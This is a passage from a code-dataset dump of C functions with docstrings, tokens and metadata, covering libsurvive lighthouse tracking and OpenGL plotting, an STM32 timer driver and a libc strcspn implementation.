"quatnormalize",
"(",
"q",
",",
"q",
")",
";",
"}",
"}"
] | Gets the shortest arc quaternion to rotate this vector to the destination
vector. | [
"Gets",
"the",
"shortest",
"arc",
"quaternion",
"to",
"rotate",
"this",
"vector",
"to",
"the",
"destination",
"vector",
"."
] | [
"// Based on Stan Melax's article in Game Programming Gems",
"// Copy, since cannot modify local",
"// v0.dotProduct(v1);",
"// If dot == 1, vectors are the same",
"// Generate an axis",
"// pick an angle",
"// pick another if colinear",
"//cross3d(c, v0, v1);"
] | [
{
"param": "q",
"type": "FLT"
},
{
"param": "src",
"type": "FLT"
},
{
"param": "dest",
"type": "FLT"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "q",
"type": "FLT",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "src",
"type": "FLT",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "dest",
"type": "FLT",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": [
{
"identifier": "remarks\nIf",
"docstring": "you call this with a dest vector that is close to the inverse\nof this vector, we will rotate 180 degrees around a generated axis if\nsince in this case ANY axis of rotation is valid.",
"docstring_tokens": [
"you",
"call",
"this",
"with",
"a",
"dest",
"vector",
"that",
"is",
"close",
"to",
"the",
"inverse",
"of",
"this",
"vector",
"we",
"will",
"rotate",
"180",
"degrees",
"around",
"a",
"generated",
"axis",
"if",
"since",
"in",
"this",
"case",
"ANY",
"axis",
"of",
"rotation",
"is",
"valid",
"."
]
}
]
} |
222828c135aef876c140f5082dd96fc775fbe5b7 | constructiverealities/libsurvive | attic/dave/OrthoPlot.c | [
"MIT"
] | C | init | void | void init()
{
int i,j,k,sen,axis;
// Read the data files
ReadHmdPoints();
ReadPtinfo();
//--------------------------------------------------
// Package the data for "OrthoSolve"
//--------------------------------------------------
// Transform into the "OrthoSolve" format
for (sen=0; sen<NUM_HMD; sen++)
{
if (hmd_angle[sen][0] != -9999.0 && hmd_angle[sen][1] != -9999.0)
{
S_in[0][nPoints] = hmd_angle[sen][0];
S_in[1][nPoints] = hmd_angle[sen][1];
X_in[0][nPoints] = hmd_pos[sen][0];
X_in[1][nPoints] = hmd_pos[sen][1];
X_in[2][nPoints] = hmd_pos[sen][2];
nPoints++;
}
}
printf("OrthoSolve nPoints %d\n", nPoints);
//--------------------------------------------------
// Run the "OrthoSolve" and then the "AffineSolve"
//--------------------------------------------------
// Run OrthoSolve
OrthoSolve(
Tortho, // OUTPUT: 4x4 transformation matrix
S_out, // OUTPUT: array of output screenspace points
S_in, // INPUT: array of screenspace points
X_in, // INPUT: array of offsets
nPoints);
//printf( "POS: %f %f %f\n", Tortho[0][3], Tortho[1][3], Tortho[2][3]);
//--------------------------------------------------
// Spawn a thread to read the HMD angles
//--------------------------------------------------
OGCreateThread(ThreadReadHmtAngles,0);
//--------------------------------------------------
// Initialize OpenGL
//--------------------------------------------------
glShadeModel(GL_SMOOTH); // Enable Smooth Shading
glClearColor(0.0f, 0.0f, 0.0f, 1.0f); // Black Background
glClearDepth(1.0f); // Depth Buffer Setup
glEnable(GL_DEPTH_TEST); // Enables Depth Testing
glDepthFunc(GL_LEQUAL); // The Type Of Depth Testing To Do
glEnable ( GL_COLOR_MATERIAL );
glDisable(GL_CULL_FACE);
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
} | /*
* init() is called at program startup
*/ | init() is called at program startup | [
"init",
"()",
"is",
"called",
"at",
"program",
"startup"
] | void init()
{
int i,j,k,sen,axis;
ReadHmdPoints();
ReadPtinfo();
for (sen=0; sen<NUM_HMD; sen++)
{
if (hmd_angle[sen][0] != -9999.0 && hmd_angle[sen][1] != -9999.0)
{
S_in[0][nPoints] = hmd_angle[sen][0];
S_in[1][nPoints] = hmd_angle[sen][1];
X_in[0][nPoints] = hmd_pos[sen][0];
X_in[1][nPoints] = hmd_pos[sen][1];
X_in[2][nPoints] = hmd_pos[sen][2];
nPoints++;
}
}
printf("OrthoSolve nPoints %d\n", nPoints);
OrthoSolve(
Tortho,
S_out,
S_in,
X_in,
nPoints);
OGCreateThread(ThreadReadHmtAngles,0);
glShadeModel(GL_SMOOTH);
glClearColor(0.0f, 0.0f, 0.0f, 1.0f);
glClearDepth(1.0f);
glEnable(GL_DEPTH_TEST);
glDepthFunc(GL_LEQUAL);
glEnable ( GL_COLOR_MATERIAL );
glDisable(GL_CULL_FACE);
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
} | [
"void",
"init",
"(",
")",
"{",
"int",
"i",
",",
"j",
",",
"k",
",",
"sen",
",",
"axis",
";",
"ReadHmdPoints",
"(",
")",
";",
"ReadPtinfo",
"(",
")",
";",
"for",
"(",
"sen",
"=",
"0",
";",
"sen",
"<",
"NUM_HMD",
";",
"sen",
"++",
")",
"{",
"if",
"(",
"hmd_angle",
"[",
"sen",
"]",
"[",
"0",
"]",
"!=",
"-9999.0",
"&&",
"hmd_angle",
"[",
"sen",
"]",
"[",
"1",
"]",
"!=",
"-9999.0",
")",
"{",
"S_in",
"[",
"0",
"]",
"[",
"nPoints",
"]",
"=",
"hmd_angle",
"[",
"sen",
"]",
"[",
"0",
"]",
";",
"S_in",
"[",
"1",
"]",
"[",
"nPoints",
"]",
"=",
"hmd_angle",
"[",
"sen",
"]",
"[",
"1",
"]",
";",
"X_in",
"[",
"0",
"]",
"[",
"nPoints",
"]",
"=",
"hmd_pos",
"[",
"sen",
"]",
"[",
"0",
"]",
";",
"X_in",
"[",
"1",
"]",
"[",
"nPoints",
"]",
"=",
"hmd_pos",
"[",
"sen",
"]",
"[",
"1",
"]",
";",
"X_in",
"[",
"2",
"]",
"[",
"nPoints",
"]",
"=",
"hmd_pos",
"[",
"sen",
"]",
"[",
"2",
"]",
";",
"nPoints",
"++",
";",
"}",
"}",
"printf",
"(",
"\"",
"\\n",
"\"",
",",
"nPoints",
")",
";",
"OrthoSolve",
"(",
"Tortho",
",",
"S_out",
",",
"S_in",
",",
"X_in",
",",
"nPoints",
")",
";",
"OGCreateThread",
"(",
"ThreadReadHmtAngles",
",",
"0",
")",
";",
"glShadeModel",
"(",
"GL_SMOOTH",
")",
";",
"glClearColor",
"(",
"0.0f",
",",
"0.0f",
",",
"0.0f",
",",
"1.0f",
")",
";",
"glClearDepth",
"(",
"1.0f",
")",
";",
"glEnable",
"(",
"GL_DEPTH_TEST",
")",
";",
"glDepthFunc",
"(",
"GL_LEQUAL",
")",
";",
"glEnable",
"(",
"GL_COLOR_MATERIAL",
")",
";",
"glDisable",
"(",
"GL_CULL_FACE",
")",
";",
"glHint",
"(",
"GL_PERSPECTIVE_CORRECTION_HINT",
",",
"GL_NICEST",
")",
";",
"}"
] | init() is called at program startup | [
"init",
"()",
"is",
"called",
"at",
"program",
"startup"
] | [
"// Read the data files",
"//--------------------------------------------------",
"// Package the data for \"OrthoSolve\"",
"//--------------------------------------------------",
"// Transform into the \"OrthoSolve\" format",
"//--------------------------------------------------",
"// Run the \"OrthoSolve\" and then the \"AffineSolve\"",
"//-------------------------------------------------- ",
"// Run OrthoSolve",
"// OUTPUT: 4x4 transformation matrix",
"// OUTPUT: array of output screenspace points",
"// INPUT: array of screenspace points",
"// INPUT: array of offsets",
"//printf( \"POS: %f %f %f\\n\", Tortho[0][3], Tortho[1][3], Tortho[2][3]);",
"//--------------------------------------------------",
"// Spawn a thread to read the HMD angles",
"//--------------------------------------------------",
"//--------------------------------------------------",
"// Initialize OpenGL",
"//--------------------------------------------------",
"// Enable Smooth Shading",
"// Black Background",
"// Depth Buffer Setup",
"// Enables Depth Testing",
"// The Type Of Depth Testing To Do"
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
222828c135aef876c140f5082dd96fc775fbe5b7 | constructiverealities/libsurvive | attic/dave/OrthoPlot.c | [
"MIT"
] | C | draw | void | void draw()
{
int i,j;
//------------------------
// Check for keyboard input
//------------------------
if (keys['w'] || keys['W']) {
posz += MOVESPEED;
}
if (keys['s'] || keys['S']) {
posz -= MOVESPEED;
}
if (keys['a'] || keys['A']) {
roty += ROTSPEED;
}
if (keys['d'] || keys['D']) {
roty -= ROTSPEED;
}
if (keys[27]) {
exit(0);
}
//------------------------
// Update the scene
//------------------------
//------------------------
// Draw using OpenGL
//------------------------
// Clear the screen
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); // Clear Screen And Depth Buffer
// Translate and rotate the camera
glLoadIdentity(); // Reset The Current Modelview Matrix
// glTranslatef(-posx,-posy,posz); // Move Left 1.5 Units And Into The
// Bouning box around the points (in radians)
float x0=-45.0 * (PI/180.0);
float x1= 45.0 * (PI/180.0);
float y0=-45.0 * (PI/180.0);
float y1= 45.0 * (PI/180.0);
//------------------------
// Read the angles from stdin
//------------------------
FLT hmdAngles[4][NUM_HMD];
// Read the hmd angles
OGLockMutex(read_mutex);
for (i=0; i<4; i++) {
for (j=0; j<NUM_HMD; j++) {
hmdAngles[i][j] = read_hmdAngles[i][j];
}
}
OGUnlockMutex(read_mutex);
// Draw the hmd bearing angles
nPoints=0;
for (i=0; i<NUM_HMD; i++) {
const double dist=10.0;
int sweepx = (LH_ID==0) ? SWEEP_LX : SWEEP_RX;
int sweepy = (LH_ID==0) ? SWEEP_LY : SWEEP_RY;
// If the left lighthouse sees it
if (read_hmdAngleViewed[sweepx][i] >= read_frameno-6 &&
read_hmdAngleViewed[sweepy][i] >= read_frameno-6 &&
hmdAngles[sweepx][i]!=-9999.0 && hmdAngles[sweepy][i]!=-9999.0)
{
S_in[0][nPoints] = hmdAngles[sweepy][i];
S_in[1][nPoints] = hmdAngles[sweepx][i];
X_in[0][nPoints] = hmd_pos[i][0];
X_in[1][nPoints] = hmd_pos[i][1];
X_in[2][nPoints] = hmd_pos[i][2];
printf("i %d S %f %f X %f %f %f frno %d %d currfr %d\n",
i, S_in[0][nPoints], S_in[1][nPoints],
X_in[0][nPoints], X_in[1][nPoints], X_in[2][nPoints],
read_hmdAngleViewed[sweepx][i], read_hmdAngleViewed[sweepy][i], read_frameno);
nPoints++;
}
}
read_frameno++;
//--------------------------------------------------
// Run the "OrthoSolve" and then the "AffineSolve"
//--------------------------------------------------
// Run OrthoSolve
OrthoSolve(
Tortho, // OUTPUT: 4x4 transformation matrix
S_out, // OUTPUT: array of output screenspace points
S_in, // INPUT: array of screenspace points
X_in, // INPUT: array of offsets
nPoints);
printf( "POS: %f %f %f\n", Tortho[0][3], Tortho[1][3], Tortho[2][3]);
//------------------------
// Draw the inputs
//------------------------
glPointSize(3.0);
// Draw the input points
glColor3f(1.0,0.5,0.5);
glBegin(GL_POINTS);
for (i=0; i<nPoints; i++) {
glVertex2f( (S_in[0][i]-x0)/(x1-x0), (S_in[1][i]-y0)/(y1-y0) );
}
glEnd();
// Draw the output points
glColor3f(0.5,0.5,1.0);
glBegin(GL_POINTS);
for (i=0; i<nPoints; i++) {
glVertex2f( (S_out[0][i]-x0)/(x1-x0), (S_out[1][i]-y0)/(y1-y0) );
}
glEnd();
//
// We're Done
//
glutSwapBuffers ( ); // Swap The Buffers To Not Be Left With A Clear Screen
} | /*
* draw() is called once every frame
*/ | draw() is called once every frame | [
"draw",
"()",
"is",
"called",
"once",
"every",
"frame"
] | void draw()
{
int i,j;
if (keys['w'] || keys['W']) {
posz += MOVESPEED;
}
if (keys['s'] || keys['S']) {
posz -= MOVESPEED;
}
if (keys['a'] || keys['A']) {
roty += ROTSPEED;
}
if (keys['d'] || keys['D']) {
roty -= ROTSPEED;
}
if (keys[27]) {
exit(0);
}
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glLoadIdentity();
float x0=-45.0 * (PI/180.0);
float x1= 45.0 * (PI/180.0);
float y0=-45.0 * (PI/180.0);
float y1= 45.0 * (PI/180.0);
FLT hmdAngles[4][NUM_HMD];
OGLockMutex(read_mutex);
for (i=0; i<4; i++) {
for (j=0; j<NUM_HMD; j++) {
hmdAngles[i][j] = read_hmdAngles[i][j];
}
}
OGUnlockMutex(read_mutex);
nPoints=0;
for (i=0; i<NUM_HMD; i++) {
const double dist=10.0;
int sweepx = (LH_ID==0) ? SWEEP_LX : SWEEP_RX;
int sweepy = (LH_ID==0) ? SWEEP_LY : SWEEP_RY;
if (read_hmdAngleViewed[sweepx][i] >= read_frameno-6 &&
read_hmdAngleViewed[sweepy][i] >= read_frameno-6 &&
hmdAngles[sweepx][i]!=-9999.0 && hmdAngles[sweepy][i]!=-9999.0)
{
S_in[0][nPoints] = hmdAngles[sweepy][i];
S_in[1][nPoints] = hmdAngles[sweepx][i];
X_in[0][nPoints] = hmd_pos[i][0];
X_in[1][nPoints] = hmd_pos[i][1];
X_in[2][nPoints] = hmd_pos[i][2];
printf("i %d S %f %f X %f %f %f frno %d %d currfr %d\n",
i, S_in[0][nPoints], S_in[1][nPoints],
X_in[0][nPoints], X_in[1][nPoints], X_in[2][nPoints],
read_hmdAngleViewed[sweepx][i], read_hmdAngleViewed[sweepy][i], read_frameno);
nPoints++;
}
}
read_frameno++;
--------------------------
--------------------------
OrthoSolve(
Tortho,
S_out,
S_in,
X_in,
nPoints);
printf( "POS: %f %f %f\n", Tortho[0][3], Tortho[1][3], Tortho[2][3]);
glPointSize(3.0);
glColor3f(1.0,0.5,0.5);
glBegin(GL_POINTS);
for (i=0; i<nPoints; i++) {
glVertex2f( (S_in[0][i]-x0)/(x1-x0), (S_in[1][i]-y0)/(y1-y0) );
}
glEnd();
glColor3f(0.5,0.5,1.0);
glBegin(GL_POINTS);
for (i=0; i<nPoints; i++) {
glVertex2f( (S_out[0][i]-x0)/(x1-x0), (S_out[1][i]-y0)/(y1-y0) );
}
glEnd();
We're Done
glutSwapBuffers ( ); Swap The Buffers To Not Be Left With A Clear Screen
} | [
"void",
"draw",
"(",
")",
"{",
"int",
"i",
",",
"j",
";",
"if",
"(",
"keys",
"[",
"'",
"'",
"]",
"||",
"keys",
"[",
"'",
"'",
"]",
")",
"{",
"posz",
"+=",
"MOVESPEED",
";",
"}",
"if",
"(",
"keys",
"[",
"'",
"'",
"]",
"||",
"keys",
"[",
"'",
"'",
"]",
")",
"{",
"posz",
"-=",
"MOVESPEED",
";",
"}",
"if",
"(",
"keys",
"[",
"'",
"'",
"]",
"||",
"keys",
"[",
"'",
"'",
"]",
")",
"{",
"roty",
"+=",
"ROTSPEED",
";",
"}",
"if",
"(",
"keys",
"[",
"'",
"'",
"]",
"||",
"keys",
"[",
"'",
"'",
"]",
")",
"{",
"roty",
"-=",
"ROTSPEED",
";",
"}",
"if",
"(",
"keys",
"[",
"27",
"]",
")",
"{",
"exit",
"(",
"0",
")",
";",
"}",
"glClear",
"(",
"GL_COLOR_BUFFER_BIT",
"|",
"GL_DEPTH_BUFFER_BIT",
")",
";",
"glLoadIdentity",
"(",
")",
";",
"float",
"x0",
"=",
"-45.0",
"*",
"(",
"PI",
"/",
"180.0",
")",
";",
"float",
"x1",
"=",
"45.0",
"*",
"(",
"PI",
"/",
"180.0",
")",
";",
"float",
"y0",
"=",
"-45.0",
"*",
"(",
"PI",
"/",
"180.0",
")",
";",
"float",
"y1",
"=",
"45.0",
"*",
"(",
"PI",
"/",
"180.0",
")",
";",
"FLT",
"hmdAngles",
"[",
"4",
"]",
"[",
"NUM_HMD",
"]",
";",
"OGLockMutex",
"(",
"read_mutex",
")",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"4",
";",
"i",
"++",
")",
"{",
"for",
"(",
"j",
"=",
"0",
";",
"j",
"<",
"NUM_HMD",
";",
"j",
"++",
")",
"{",
"hmdAngles",
"[",
"i",
"]",
"[",
"j",
"]",
"=",
"read_hmdAngles",
"[",
"i",
"]",
"[",
"j",
"]",
";",
"}",
"}",
"OGUnlockMutex",
"(",
"read_mutex",
")",
";",
"nPoints",
"=",
"0",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"NUM_HMD",
";",
"i",
"++",
")",
"{",
"const",
"double",
"dist",
"=",
"10.0",
";",
"int",
"sweepx",
"=",
"(",
"LH_ID",
"==",
"0",
")",
"?",
"SWEEP_LX",
":",
"SWEEP_RX",
";",
"int",
"sweepy",
"=",
"(",
"LH_ID",
"==",
"0",
")",
"?",
"SWEEP_LY",
":",
"SWEEP_RY",
";",
"if",
"(",
"read_hmdAngleViewed",
"[",
"sweepx",
"]",
"[",
"i",
"]",
">=",
"read_frameno",
"-",
"6",
"&&",
"read_hmdAngleViewed",
"[",
"sweepy",
"]",
"[",
"i",
"]",
">=",
"read_frameno",
"-",
"6",
"&&",
"hmdAngles",
"[",
"sweepx",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
"&&",
"hmdAngles",
"[",
"sweepy",
"]",
"[",
"i",
"]",
"!=",
"-9999.0",
")",
"{",
"S_in",
"[",
"0",
"]",
"[",
"nPoints",
"]",
"=",
"hmdAngles",
"[",
"sweepy",
"]",
"[",
"i",
"]",
";",
"S_in",
"[",
"1",
"]",
"[",
"nPoints",
"]",
"=",
"hmdAngles",
"[",
"sweepx",
"]",
"[",
"i",
"]",
";",
"X_in",
"[",
"0",
"]",
"[",
"nPoints",
"]",
"=",
"hmd_pos",
"[",
"i",
"]",
"[",
"0",
"]",
";",
"X_in",
"[",
"1",
"]",
"[",
"nPoints",
"]",
"=",
"hmd_pos",
"[",
"i",
"]",
"[",
"1",
"]",
";",
"X_in",
"[",
"2",
"]",
"[",
"nPoints",
"]",
"=",
"hmd_pos",
"[",
"i",
"]",
"[",
"2",
"]",
";",
"printf",
"(",
"\"",
"\\n",
"\"",
",",
"i",
",",
"S_in",
"[",
"0",
"]",
"[",
"nPoints",
"]",
",",
"S_in",
"[",
"1",
"]",
"[",
"nPoints",
"]",
",",
"X_in",
"[",
"0",
"]",
"[",
"nPoints",
"]",
",",
"X_in",
"[",
"1",
"]",
"[",
"nPoints",
"]",
",",
"X_in",
"[",
"2",
"]",
"[",
"nPoints",
"]",
",",
"read_hmdAngleViewed",
"[",
"sweepx",
"]",
"[",
"i",
"]",
",",
"read_hmdAngleViewed",
"[",
"sweepy",
"]",
"[",
"i",
"]",
",",
"read_frameno",
")",
";",
"nPoints",
"++",
";",
"}",
"}",
"read_frameno",
"++",
";",
"OrthoSolve",
"(",
"Tortho",
",",
"S_out",
",",
"S_in",
",",
"X_in",
",",
"nPoints",
")",
";",
"printf",
"(",
"\"",
"\\n",
"\"",
",",
"Tortho",
"[",
"0",
"]",
"[",
"3",
"]",
",",
"Tortho",
"[",
"1",
"]",
"[",
"3",
"]",
",",
"Tortho",
"[",
"2",
"]",
"[",
"3",
"]",
")",
";",
"glPointSize",
"(",
"3.0",
")",
";",
"glColor3f",
"(",
"1.0",
",",
"0.5",
",",
"0.5",
")",
";",
"glBegin",
"(",
"GL_POINTS",
")",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"nPoints",
";",
"i",
"++",
")",
"{",
"glVertex2f",
"(",
"(",
"S_in",
"[",
"0",
"]",
"[",
"i",
"]",
"-",
"x0",
")",
"/",
"(",
"x1",
"-",
"x0",
")",
",",
"(",
"S_in",
"[",
"1",
"]",
"[",
"i",
"]",
"-",
"y0",
")",
"/",
"(",
"y1",
"-",
"y0",
")",
")",
";",
"}",
"glEnd",
"(",
")",
";",
"glColor3f",
"(",
"0.5",
",",
"0.5",
",",
"1.0",
")",
";",
"glBegin",
"(",
"GL_POINTS",
")",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"nPoints",
";",
"i",
"++",
")",
"{",
"glVertex2f",
"(",
"(",
"S_out",
"[",
"0",
"]",
"[",
"i",
"]",
"-",
"x0",
")",
"/",
"(",
"x1",
"-",
"x0",
")",
",",
"(",
"S_out",
"[",
"1",
"]",
"[",
"i",
"]",
"-",
"y0",
")",
"/",
"(",
"y1",
"-",
"y0",
")",
")",
";",
"}",
"glEnd",
"(",
")",
";",
"glutSwapBuffers",
"(",
")",
";",
"}"
] | draw() is called once every frame | [
"draw",
"()",
"is",
"called",
"once",
"every",
"frame"
] | [
"//------------------------",
"// Check for keyboard input",
"//------------------------",
"//------------------------",
"// Update the scene",
"//------------------------",
"//------------------------",
"// Draw using OpenGL",
"//------------------------",
"// Clear the screen",
"// Clear Screen And Depth Buffer",
"// Translate and rotate the camera",
"// Reset The Current Modelview Matrix",
"// glTranslatef(-posx,-posy,posz);\t\t\t\t\t\t// Move Left 1.5 Units And Into The ",
"// Bouning box around the points (in radians)",
"//------------------------",
"// Read the angles from stdin",
"//------------------------",
"// Read the hmd angles",
"// Draw the hmd bearing angles",
"// If the left lighthouse sees it",
"//--------------------------------------------------",
"// Run the \"OrthoSolve\" and then the \"AffineSolve\"",
"//-------------------------------------------------- ",
"// Run OrthoSolve",
"// OUTPUT: 4x4 transformation matrix",
"// OUTPUT: array of output screenspace points",
"// INPUT: array of screenspace points",
"// INPUT: array of offsets",
"//------------------------",
"// Draw the inputs",
"//------------------------",
"// Draw the input points",
"// Draw the output points",
"//",
"// We're Done",
"//",
"// Swap The Buffers To Not Be Left With A Clear Screen"
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
222828c135aef876c140f5082dd96fc775fbe5b7 | constructiverealities/libsurvive | attic/dave/OrthoPlot.c | [
"MIT"
] | C | resize | void | void resize(int width, int height) // Resize And Initialize The GL Window
{
glViewport(0,0,width,height); // Reset The Current Viewport
glMatrixMode(GL_PROJECTION); // Select The Projection Matrix
glLoadIdentity(); // Reset The Projection Matrix
// Uncomment For a 3D perspective
//gluPerspective(45.0f,(float)width/(float)height,0.1f,1000.0f);
// Uncomment for a 2D perspective
glOrtho(0.0, 1.0, 0.0, 1.0, -10.0, 10.0);
glMatrixMode(GL_MODELVIEW); // Select The Modelview Matrix
glLoadIdentity(); // Reset The Modelview Matrix
} | /*
* resize() is called when we change the screen size
*/ | resize() is called when we change the screen size | [
"resize",
"()",
"is",
"called",
"when",
"we",
"change",
"the",
"screen",
"size"
] | void resize(int width, int height)
{
glViewport(0,0,width,height);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glOrtho(0.0, 1.0, 0.0, 1.0, -10.0, 10.0);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
} | [
"void",
"resize",
"(",
"int",
"width",
",",
"int",
"height",
")",
"{",
"glViewport",
"(",
"0",
",",
"0",
",",
"width",
",",
"height",
")",
";",
"glMatrixMode",
"(",
"GL_PROJECTION",
")",
";",
"glLoadIdentity",
"(",
")",
";",
"glOrtho",
"(",
"0.0",
",",
"1.0",
",",
"0.0",
",",
"1.0",
",",
"-10.0",
",",
"10.0",
")",
";",
"glMatrixMode",
"(",
"GL_MODELVIEW",
")",
";",
"glLoadIdentity",
"(",
")",
";",
"}"
] | resize() is called when we change the screen size | [
"resize",
"()",
"is",
"called",
"when",
"we",
"change",
"the",
"screen",
"size"
] | [
"// Resize And Initialize The GL Window",
"// Reset The Current Viewport",
"// Select The Projection Matrix",
"// Reset The Projection Matrix",
"// Uncomment For a 3D perspective",
"//gluPerspective(45.0f,(float)width/(float)height,0.1f,1000.0f);",
"// Uncomment for a 2D perspective",
"// Select The Modelview Matrix",
"// Reset The Modelview Matrix"
] | [
{
"param": "width",
"type": "int"
},
{
"param": "height",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "width",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "height",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
681ca8bbd261be025aa55b995b543a765a00255f | iwasz/zephyr-grbl-plotter | modules/hw_timer/zephyr/hw_timer_stm32.c | [
"MIT"
] | C | hw_timer_stm32_set_update_callback | void | void hw_timer_stm32_set_update_callback(const struct device *dev, timer_callback_t callback)
{
struct hw_timer_stm32_data *data = dev->data;
data->timer_up_callback = callback;
const struct hw_timer_stm32_config *cfg = dev->config;
// TODO some timers have 4 IRQs while others have only one
const int up_irqn = DT_IRQ_BY_IDX(DT_PARENT(DT_DRV_INST(0)), 0, irq);
const int up_priority = DT_IRQ_BY_IDX(DT_PARENT(DT_DRV_INST(0)), 0, priority);
LL_TIM_ClearFlag_UPDATE(cfg->timer);
if (callback) {
LL_TIM_EnableIT_UPDATE(cfg->timer);
irq_connect_dynamic(up_irqn, up_priority, hw_timer_stm32_up_isr, dev, 0);
irq_enable(up_irqn);
} else {
irq_disable(up_irqn);
LL_TIM_DisableIT_UPDATE(cfg->timer);
}
} | /**
* Set or remove the update callback.
*/ | Set or remove the update callback. | [
"Set",
"or",
"remove",
"the",
"update",
"callback",
"."
] | void hw_timer_stm32_set_update_callback(const struct device *dev, timer_callback_t callback)
{
struct hw_timer_stm32_data *data = dev->data;
data->timer_up_callback = callback;
const struct hw_timer_stm32_config *cfg = dev->config;
const int up_irqn = DT_IRQ_BY_IDX(DT_PARENT(DT_DRV_INST(0)), 0, irq);
const int up_priority = DT_IRQ_BY_IDX(DT_PARENT(DT_DRV_INST(0)), 0, priority);
LL_TIM_ClearFlag_UPDATE(cfg->timer);
if (callback) {
LL_TIM_EnableIT_UPDATE(cfg->timer);
irq_connect_dynamic(up_irqn, up_priority, hw_timer_stm32_up_isr, dev, 0);
irq_enable(up_irqn);
} else {
irq_disable(up_irqn);
LL_TIM_DisableIT_UPDATE(cfg->timer);
}
} | [
"void",
"hw_timer_stm32_set_update_callback",
"(",
"const",
"struct",
"device",
"*",
"dev",
",",
"timer_callback_t",
"callback",
")",
"{",
"struct",
"hw_timer_stm32_data",
"*",
"data",
"=",
"dev",
"->",
"data",
";",
"data",
"->",
"timer_up_callback",
"=",
"callback",
";",
"const",
"struct",
"hw_timer_stm32_config",
"*",
"cfg",
"=",
"dev",
"->",
"config",
";",
"const",
"int",
"up_irqn",
"=",
"DT_IRQ_BY_IDX",
"(",
"DT_PARENT",
"(",
"DT_DRV_INST",
"(",
"0",
")",
")",
",",
"0",
",",
"irq",
")",
";",
"const",
"int",
"up_priority",
"=",
"DT_IRQ_BY_IDX",
"(",
"DT_PARENT",
"(",
"DT_DRV_INST",
"(",
"0",
")",
")",
",",
"0",
",",
"priority",
")",
";",
"LL_TIM_ClearFlag_UPDATE",
"(",
"cfg",
"->",
"timer",
")",
";",
"if",
"(",
"callback",
")",
"{",
"LL_TIM_EnableIT_UPDATE",
"(",
"cfg",
"->",
"timer",
")",
";",
"irq_connect_dynamic",
"(",
"up_irqn",
",",
"up_priority",
",",
"hw_timer_stm32_up_isr",
",",
"dev",
",",
"0",
")",
";",
"irq_enable",
"(",
"up_irqn",
")",
";",
"}",
"else",
"{",
"irq_disable",
"(",
"up_irqn",
")",
";",
"LL_TIM_DisableIT_UPDATE",
"(",
"cfg",
"->",
"timer",
")",
";",
"}",
"}"
] | Set or remove the update callback. | [
"Set",
"or",
"remove",
"the",
"update",
"callback",
"."
] | [
"// TODO some timers have 4 IRQs while others have only one"
] | [
{
"param": "dev",
"type": "struct device"
},
{
"param": "callback",
"type": "timer_callback_t"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "dev",
"type": "struct device",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "callback",
"type": "timer_callback_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
1eb233614d0d476255294feb3ba1f6d8e8a71ae5 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/string/strcspn.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | strcspn | size_t | size_t
strcspn(const char *s1, const char *s2)
{
const char *p, *spanp;
char c, sc;
/*
* Stop as soon as we find any character from s2. Note that there
* must be a NUL in s2; it suffices to stop when we find that, too.
*/
for (p = s1;;) {
c = *p++;
spanp = s2;
do {
if ((sc = *spanp++) == c)
return (p - 1 - s1);
} while (sc != 0);
}
/* NOTREACHED */
} | /*
* Span the complement of string s2.
*/ | Span the complement of string s2. | [
"Span",
"the",
"complement",
"of",
"string",
"s2",
"."
] | size_t
strcspn(const char *s1, const char *s2)
{
const char *p, *spanp;
char c, sc;
for (p = s1;;) {
c = *p++;
spanp = s2;
do {
if ((sc = *spanp++) == c)
return (p - 1 - s1);
} while (sc != 0);
}
} | [
"size_t",
"strcspn",
"(",
"const",
"char",
"*",
"s1",
",",
"const",
"char",
"*",
"s2",
")",
"{",
"const",
"char",
"*",
"p",
",",
"*",
"spanp",
";",
"char",
"c",
",",
"sc",
";",
"for",
"(",
"p",
"=",
"s1",
";",
";",
")",
"{",
"c",
"=",
"*",
"p",
"++",
";",
"spanp",
"=",
"s2",
";",
"do",
"{",
"if",
"(",
"(",
"sc",
"=",
"*",
"spanp",
"++",
")",
"==",
"c",
")",
"return",
"(",
"p",
"-",
"1",
"-",
"s1",
")",
";",
"}",
"while",
"(",
"sc",
"!=",
"0",
")",
";",
"}",
"}"
] | Span the complement of string s2. | [
"Span",
"the",
"complement",
"of",
"string",
"s2",
"."
] | [
"/*\n\t * Stop as soon as we find any character from s2. Note that there\n\t * must be a NUL in s2; it suffices to stop when we find that, too.\n\t */",
"/* NOTREACHED */"
] | [
{
"param": "s1",
"type": "char"
},
{
"param": "s2",
"type": "char"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "s1",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "s2",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
